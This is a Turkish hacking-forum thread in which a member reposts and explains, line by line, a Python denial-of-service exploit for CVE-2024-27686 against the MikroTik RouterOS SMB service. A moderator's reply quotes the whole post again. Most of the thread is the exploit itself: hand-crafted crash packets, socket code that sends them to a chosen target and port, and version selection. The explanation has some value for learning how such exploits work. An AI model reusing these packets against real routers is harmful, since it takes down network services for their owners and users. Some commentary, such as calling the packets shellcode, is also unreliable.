CVE-2024-27686.Py - Exploit Geliştirme Kulübü

Çokgen

Katılımcı Üye
4 Eyl 2023
412
196
- Exploit Geliştirme Kulübü

Merhaba arkadaşlar, bugün exploit db'de gezinirken karşılaştığım bir güvenlik açığından bahsedicem.

Bu açık smb portunda dos'a karşı dayanıklı değil. Hemencicik sömürülebilir.

Daha detaylı okumak ve araştırmak isterseniz
CVE-2024-27686 yazmanız yeterli.
Şimdi gelelim mantığına, kendimce exploit yazarken yada yazmaya çalşırken sorduğum bir soru oluyor; Acaba nasıl işliyor/çalışıyor diye düşünürüm.
Bu yüzden mantığına gitttik ve gayet basit. Biz bir payload gönderiyoruz.

Python:
# Exploit Title: CVE-2024-27686: RouterOS-SMB-DOS
# Google Dork: N/A
# Date: 03/04/2024
# Exploit Author: ice-wzl, Solstice Cyber Solutions
# Vendor Homepage: https://mikrotik.com/
# Software Link: https://mikrotik.com/download/archive
# Version: RouterOS devices ranging from 6.40.5 - 6.44 and 6.48.1 - 6.49.10
# Tested on: RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10
# CVE : CVE-2024-27686
#!/usr/bin/python3
# Founded by ice-wzl in conjunction with Solstice Cyber Solutions
import argparse
import sys
import socket
# Define the packets

Buradaki işlev socket, argparse, sys kütüphanelerini içeri aktardık.

Python:
# the packet that causes crash 6.40.5 - 6.42.3/Çökmeye neden olan paket 6.40.5
fuzzed_packet_6 = b'\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00'


packet_0 = b'\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4*\x99\xc9\xeb\xb6E\xa2A\xe9(\xee%\xe5\xdfp\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00_\xf7m\xf2h*\x8f\x8ae\x0f8+T=Na8_\x0b@C\x82\xe7\x87\xc3qZ\xd7\xcf0M\x87\x00\x00\x02\x00\n\x00\x00\x00\x00\x00\x04\x00\x02\x00\x01\x00\x04\x00\x03\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00\x05\x00\x1a\x00\x00\x00\x00\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x008\x004\x00'
packet_2_fuzzed = b'\x00\x00\x00\xa2\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00X\x00J\x00\x00\x00\x00\x00\x00\x00\x00\x00`H\x05\x06+\x06\x01\x05\x05\x02\xa0>0<\xa0\x0e21540373\xed\xba\xad211\x0c\x06\n+\x06\x01\x04\x01\x82294517887446830\x02\x02\n\xa2*\x04(NTLMSSP\x00\x01\x00\x00\x00\x15\x82\x08b\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x0f'

Burdada gösterildiği gibi buradaki paketler aslında smb_dos(CVE-2024-27686) olan için riskli paketlerdir. Burada paketlere karşılıklı gelen shell codeları tanımlamış.

Python:
def open_connection(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((ip, port))
        return s
    except ConnectionRefusedError:
        print(f"[!] Connection Refused on: {ip} {port}")
        sys.exit(2)

def send_payload_high(s):
    s.send(packet_0)
    s.send(packet_2_fuzzed)
    s.close()

def send_payload_low(s):
    s.send(fuzzed_packet_6)
    s.close()

def verify_input(user_inp):
    try:
        user_inp = int(user_inp)
        if user_inp > 2 or user_inp < 1:
            return 3
        else:
            return user_inp
    except ValueError:
        return 0

if __name__ == '__main__':

    parser = argparse.ArgumentParser(prog='SMB Crash',
        description='Crashes Mikrotik RouterOS SMB Service 6.40.5 - 6.49.10',
        epilog='Discovered by: ice-wzl')

    parser.add_argument("-t", "--target", action="store", dest="target")
    parser.add_argument("-p", "--port", action="store", dest="port")

    args = parser.parse_args()

    if not args.target or not args.port:
        print(f"[+] python3 {sys.argv[0]} --help")
        sys.exit(1)

    print("[+] What version is the target:\n\t[1] 6.40.5 - 6.44\n\t[2] 6.48.1 - 6.49.10\nEnter 1 or 2:")
    version_choice = input("--> ")

Burda ilk def open_connection'a göz atalım: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Burda socket oluşturulur, sockete "s" adı verir. socket.socket ile socket yaratılır sonrasında parantez içinde protokoller belirlenir. AF_INET Ipv4 kullanır. SOCK_STREAM ise TCP protokolünğ kullanır.
sonrasında try bloünun içinde bağlantı komutlar gerçekleşiyor. Exceptte ise bağlanılamaz ise kodu sonlandır diyor.
Send packet bölümlerini geçtim, packetleri yolluyorlar.
Adam kolaylık olsun diye kısa,
user_np ye hepint parantez içinde yapmamak istediği için user_inp = intuser_np)
Burada user_inp > 2 ifadesi, user_inp değerinin 2'den büyük olup olmadığını kontrol eder. Eğer bu koşul sağlanıyorsa, yani user_inp 2'den büyük bir değer ise, if koşulu doğru olur. Benzer şekilde user_inp < 1 ifadesi de, user_inp değerinin 1'den küçük olup olmadığını kontrol eder. Eğer bu koşul da sağlanıyorsa, yani user_inp 1'den küçük bir değer ise, if koşulu doğru olur.

if __name__ == '__main__': bloğu, programın doğrudan çalıştırılması durumunda yürütülecek olan kısımdır. Bu blok, kullanıcının programı çalıştırmasını ve argümanları girmesini bekler.
parser = argparse.ArgumentParser(...) kısmı, argparse kütüphanesini kullanarak komut satırından argümanları işlemek için bir argüman analizcisini tanımlar. -t veya --target argümanı ile hedef IP adresi, -p veya --port argümanı ile port numarası alınır.
verify_input(user_inp) fonksiyonu, kullanıcı girişini kontrol eder. Kullanıcı sadece 1 veya 2 girebilir. Diğer durumlarda uygun bir hata mesajı verilir.
open_connection(ip, port) fonksiyonu, hedef IP adresi ve port numarasıyla bir soket oluşturur ve bağlantı sağlamaya çalışır. Bağlantı kurulamazsa program hata verir ve çıkar.

send_payload_high(s) ve send_payload_low(s) fonksiyonları, oluşturulan soket üzerinden belirli paketleri gönderir. Bu paketler, hedef sistemi istismar etmek veya bir zafiyet kullanmak için tasarlanmış özel veriler içerebilir.

Exploit Title: CVE-2024-27686: RouterOS-SMB-DOS
Google Dork: N/A
Date: 03/04/2024
Exploit Author: ice-wzl, Solstice Cyber Solutions
Vendor Homepage: MikroTik
Software Link: MikroTik
Version: RouterOS devices ranging from 6.40.5 - 6.44 and 6.48.1 - 6.49.10
Tested on: RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10

CVE : CVE-2024-27686

Konumu okuduğunuz için teşekkür ederim. Yarınada yapabilirsem Kernal yapıağım.
 
Son düzenleme:

Blueteamforse

Asistan Moderatör
17 Ağu 2023
176
77
TÜRK IRKININ OLDUĞU HER YER
- Exploit Geliştirme Kulübü

Merhaba arkadaşlar, bugün exploit db'de gezinirken karşılaştığım bir güvenlik açığından bahsedicem.

Bu açık smb portunda dos'a karşı dayanıklı değil. Hemencicik sömürülebilir.

Daha detaylı okumak ve araştırmak isterseniz
CVE-2024-27686 yazmanız yeterli.
Şimdi gelelim mantığına, kendimce exploit yazarken yada yazmaya çalşırken sorduğum bir soru oluyor; Acaba nasıl işliyor/çalışıyor diye düşünürüm.
Bu yüzden mantığına gitttik ve gayet basit. Biz bir payload gönderiyoruz.

Python:
# Exploit Title: CVE-2024-27686: RouterOS-SMB-DOS
# Google Dork: N/A
# Date: 03/04/2024
# Exploit Author: ice-wzl, Solstice Cyber Solutions
# Vendor Homepage: https://mikrotik.com/
# Software Link: https://mikrotik.com/download/archive
# Version: RouterOS devices ranging from 6.40.5 - 6.44 and 6.48.1 - 6.49.10
# Tested on: RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10
# CVE : CVE-2024-27686
#!/usr/bin/python3
# Founded by ice-wzl in conjunction with Solstice Cyber Solutions
import argparse
import sys
import socket
# Define the packets

Buradaki işlev socket, argparse, sys kütüphanelerini içeri aktardık.

Python:
# the packet that causes crash 6.40.5 - 6.42.3/Çökmeye neden olan paket 6.40.5
fuzzed_packet_6 = b'\x00\x00\x00n\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x03\x00\xf1\x1f\x08\x00\x00\x00\x00\x00\x00\xe1\xbe\x82\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G\xe5\x07\xf5\x07\xec\x01u\xe4Q]\x9e\xea\xedn\xa9\t\x00\x00\x00H\x00&\x00\\\x00\\\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x007\x007\x00\\\x00p\x00u\x00b\x00'


packet_0 = b'\x00\x00\x00\xea\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x05\x00\x01\x00\x00\x00\x7f\x00\x00\x00\xe8\xe4*\x99\xc9\xeb\xb6E\xa2A\xe9(\xee%\xe5\xdfp\x00\x00\x00\x04\x00\x00\x00\x02\x02\x10\x02\x00\x03\x02\x03\x11\x03\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00_\xf7m\xf2h*\x8f\x8ae\x0f8+T=Na8_\x0b@C\x82\xe7\x87\xc3qZ\xd7\xcf0M\x87\x00\x00\x02\x00\n\x00\x00\x00\x00\x00\x04\x00\x02\x00\x01\x00\x04\x00\x03\x00\x00\x00\x00\x00\x00\x00\x08\x00\x08\x00\x00\x00\x00\x00\x03\x00\x02\x00\x01\x00\x00\x00\x05\x00\x1a\x00\x00\x00\x00\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x005\x00.\x008\x004\x00'
packet_2_fuzzed = b'\x00\x00\x00\xa2\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00X\x00J\x00\x00\x00\x00\x00\x00\x00\x00\x00`H\x05\x06+\x06\x01\x05\x05\x02\xa0>0<\xa0\x0e21540373\xed\xba\xad211\x0c\x06\n+\x06\x01\x04\x01\x82294517887446830\x02\x02\n\xa2*\x04(NTLMSSP\x00\x01\x00\x00\x00\x15\x82\x08b\x00\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x06\x01\x00\x00\x00\x00\x00\x0f'

Burdada gösterildiği gibi buradaki paketler aslında smb_dos(CVE-2024-27686) olan için riskli paketlerdir. Burada paketlere karşılıklı gelen shell codeları tanımlamış.

Python:
def open_connection(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((ip, port))
        return s
    except ConnectionRefusedError:
        print(f"[!] Connection Refused on: {ip} {port}")
        sys.exit(2)

def send_payload_high(s):
    s.send(packet_0)
    s.send(packet_2_fuzzed)
    s.close()

def send_payload_low(s):
    s.send(fuzzed_packet_6)
    s.close()

def verify_input(user_inp):
    try:
        user_inp = int(user_inp)
        if user_inp > 2 or user_inp < 1:
            return 3
        else:
            return user_inp
    except ValueError:
        return 0

if __name__ == '__main__':

    parser = argparse.ArgumentParser(prog='SMB Crash',
        description='Crashes Mikrotik RouterOS SMB Service 6.40.5 - 6.49.10',
        epilog='Discovered by: ice-wzl')

    parser.add_argument("-t", "--target", action="store", dest="target")
    parser.add_argument("-p", "--port", action="store", dest="port")

    args = parser.parse_args()

    if not args.target or not args.port:
        print(f"[+] python3 {sys.argv[0]} --help")
        sys.exit(1)

    print("[+] What version is the target:\n\t[1] 6.40.5 - 6.44\n\t[2] 6.48.1 - 6.49.10\nEnter 1 or 2:")
    version_choice = input("--> ")

Burda ilk def open_connection'a göz atalım: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Burda socket oluşturulur, sockete "s" adı verir. socket.socket ile socket yaratılır sonrasında parantez içinde protokoller belirlenir. AF_INET Ipv4 kullanır. SOCK_STREAM ise TCP protokolünğ kullanır.
sonrasında try bloünun içinde bağlantı komutlar gerçekleşiyor. Exceptte ise bağlanılamaz ise kodu sonlandır diyor.
Send packet bölümlerini geçtim, packetleri yolluyorlar.
Adam kolaylık olsun diye kısa,
user_np ye hepint parantez içinde yapmamak istediği için user_inp = intuser_np)
Burada user_inp > 2 ifadesi, user_inp değerinin 2'den büyük olup olmadığını kontrol eder. Eğer bu koşul sağlanıyorsa, yani user_inp 2'den büyük bir değer ise, if koşulu doğru olur. Benzer şekilde user_inp < 1 ifadesi de, user_inp değerinin 1'den küçük olup olmadığını kontrol eder. Eğer bu koşul da sağlanıyorsa, yani user_inp 1'den küçük bir değer ise, if koşulu doğru olur.

if __name__ == '__main__': bloğu, programın doğrudan çalıştırılması durumunda yürütülecek olan kısımdır. Bu blok, kullanıcının programı çalıştırmasını ve argümanları girmesini bekler.
parser = argparse.ArgumentParser(...) kısmı, argparse kütüphanesini kullanarak komut satırından argümanları işlemek için bir argüman analizcisini tanımlar. -t veya --target argümanı ile hedef IP adresi, -p veya --port argümanı ile port numarası alınır.
verify_input(user_inp) fonksiyonu, kullanıcı girişini kontrol eder. Kullanıcı sadece 1 veya 2 girebilir. Diğer durumlarda uygun bir hata mesajı verilir.
open_connection(ip, port) fonksiyonu, hedef IP adresi ve port numarasıyla bir soket oluşturur ve bağlantı sağlamaya çalışır. Bağlantı kurulamazsa program hata verir ve çıkar.

send_payload_high(s) ve send_payload_low(s) fonksiyonları, oluşturulan soket üzerinden belirli paketleri gönderir. Bu paketler, hedef sistemi istismar etmek veya bir zafiyet kullanmak için tasarlanmış özel veriler içerebilir.

Exploit Title: CVE-2024-27686: RouterOS-SMB-DOS
Google Dork: N/A
Date: 03/04/2024
Exploit Author: ice-wzl, Solstice Cyber Solutions
Vendor Homepage: MikroTik
Software Link: MikroTik
Version: RouterOS devices ranging from 6.40.5 - 6.44 and 6.48.1 - 6.49.10
Tested on: RouterOS 6.40.5 - 6.44 and 6.48.1 - 6.49.10

CVE : CVE-2024-27686

Konumu okuduğunuz için teşekkür ederim. Yarınada yapabilirsem Kernal yapıağım.
Eline sağlık hocam biraz resimle daha güzel olabilir.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.